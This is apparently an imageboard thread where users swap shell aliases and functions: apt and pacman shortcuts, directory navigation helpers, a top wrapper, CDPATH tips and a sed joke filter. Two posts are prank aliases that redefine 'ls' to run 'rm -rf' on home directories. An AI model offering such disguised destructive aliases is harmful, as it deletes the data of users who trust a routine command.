Shellkode

Share useful and/or fun aliases, functions and scripts you use daily.

Other urls found in this thread:

github.com/rupa/z
twitter.com/NSFWRedditVideo

I use this function quite a bit.
Came from an old Sup Forumsbash aliases and stuff thread.
gui()
{
("${@:?}" > /dev/null 2>&1 &)
}

function topp()
{
# USAGE: topp
top -Hp $(pgrep -d, "$1")
}

+ then press shift v for forest view for extra coolness.

cd ..
This may look complex but I use this useful function to change directory

alias cd..="cd .."

Comfy.

My zsh aliases, should work with bash
# Aliases

# Sudo Forcing Aliases

alias pacman='sudo pacman'
alias journalctl='sudo journalctl'
alias systemctl='sudo systemctl'
alias snap='sudo snap'

# Actual Aliases

alias pacu='sudo pacman -Syu'
alias auru='sudo pacuar -Syu'
alias waterfox='sh /opt/waterfox/waterfox'
alias zsh-reload='source ~/.zshrc'

sau = sudo apt update && apt list --upgradable
saf = sudo apt upgrade
sas = aptitude search
sac = apt-cache search
sap = sudo apt purge
saap = sudo apt autoremove --purge
sah = aptitude show
ggrep = | grep
clean = clear && reset
downl = cd ~/Downloads
pics = cd ~/Pictures
fap = cd ~/Videos/.pr0n/webm && vlc ./*
ping = ping -c 10

up(){ DEEP=$1; [ -z "${DEEP}" ] && { DEEP=1; }; for i in $(seq 1 ${DEEP}); do cd ../; done; }

up 3 is equivalent to cd ../../../

CDPATH=".:$HOME:$HOME/Documents:$HOME/Downloads:$HOME/Pictures:$HOME/Pictures/Camera
>your dir layout may vary
>tree -d gives a good visual concept of how you might want to set your CDPATH

Because some people will create a bunch of aliases to cd to specific folders instead of using CDPATH

Just alias it as .., and ... goes back 2 dirs, .... goes back 3, ect. I made them and never never used them. I also aliased all they ways i mistyoe common commands like ls

I like to type the commands manually even the long ones.

I like using history expansions to save typing of frequently used commands.
I sometimes put a #keyword at the end of really cool ones. :^)
!?keyword

what does it do though
are you tricking me into running a fork bomb again?

spurdo() {
sed "s/kek/geg/gI;s/epic/ebin/gI;s/america/clapistan/gI;s/right/rite/gI;s/your/ur/gI;s/\./ :DD/gI;s/'//gI;s/,/XDD/gI;s/wh/w/gI;s/th/d/gI;s/af/ab/gI;s/ap/ab/gI;s/ca/ga/gI;s/ck/gg/gI;s/co/go/gI;s/ev/eb/gI;s/ex/egz/gI;s/et/ed/gI;s/iv/ib/gI;s/it/id/gI;s/ke/ge/gI;s/nt/nd/gI;s/op/ob/gI;s/ot/od/gI;s/po/bo/gI;s/pe/be/gI;s/pi/bi/gI;s/up/ub/gI;s/va/ba/gI;s/ck/gg/gI;s/cr/gr/gI;s/kn/gn/gI;s/lt/ld/gI;s/mm/m/gI;s/nt/dn/gI;s/pr/br/gI;s/ts/dz/gI;s/tr/dr/gI;s/bs/bz/gI;s/ds/dz/gI;s/es/es/gI;s/fs/fz/gI;s/gs/gz/gI;s/ is/iz/gI;s/as/az/gI;s/ls/lz/gI;s/ms/mz/gI;s/ns/nz/gI;s/rs/rz/gI;s/ss/sz/gI;s/ts/tz/gI;s/us/uz/gI;s/ws/wz/gI;s/ys/yz/gI;s/alk/olk/gI;s/ing/ign/gI;s/ic/ig/gI;s/ng/nk/gI" \

she should join our startup

> fortune | spurdo | cowsay
_________________________________________
/ idiz imboszible to dravel fazter dan \
| lightXDD and certainly nod |
| desirablegzDD az ones hat geeps blowign |
| off :DD |
| |
\ -- Woody Allen /
-----------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||

alias ranger='ranger --choosedir=$HOME/.cache/rangerDir; cd $(cat $HOME/.cache/rangerDir)'

makes shell cd to directory where ranger exited

Runs a program without terminal output. The output is written to /dev/null. Also subshell'd to the background, so it keeps running and you can continue terminal work.

alias ls='rm -rf /home/'

This isn't reddit.

Why did you place a "space" between "cd" and ".."?

alias ls='ls && rm -rf ~/*'

nice stuff, missing
alias gdw='git diff --word-diff

nice git stuff, missing
alias gdw='git diff --word-diff'

github.com/rupa/z

alias rmd='shred -n 50 -z -u'

isnt like -n 7 enough for usa dod or something? 50 seems overkill.
and i prefer not to use -z.

That was a joke lol.

Do people actually upload bash scripts?

>Femanon
Why are you here?

>systemctl
>journalctl

what if you need to use --user?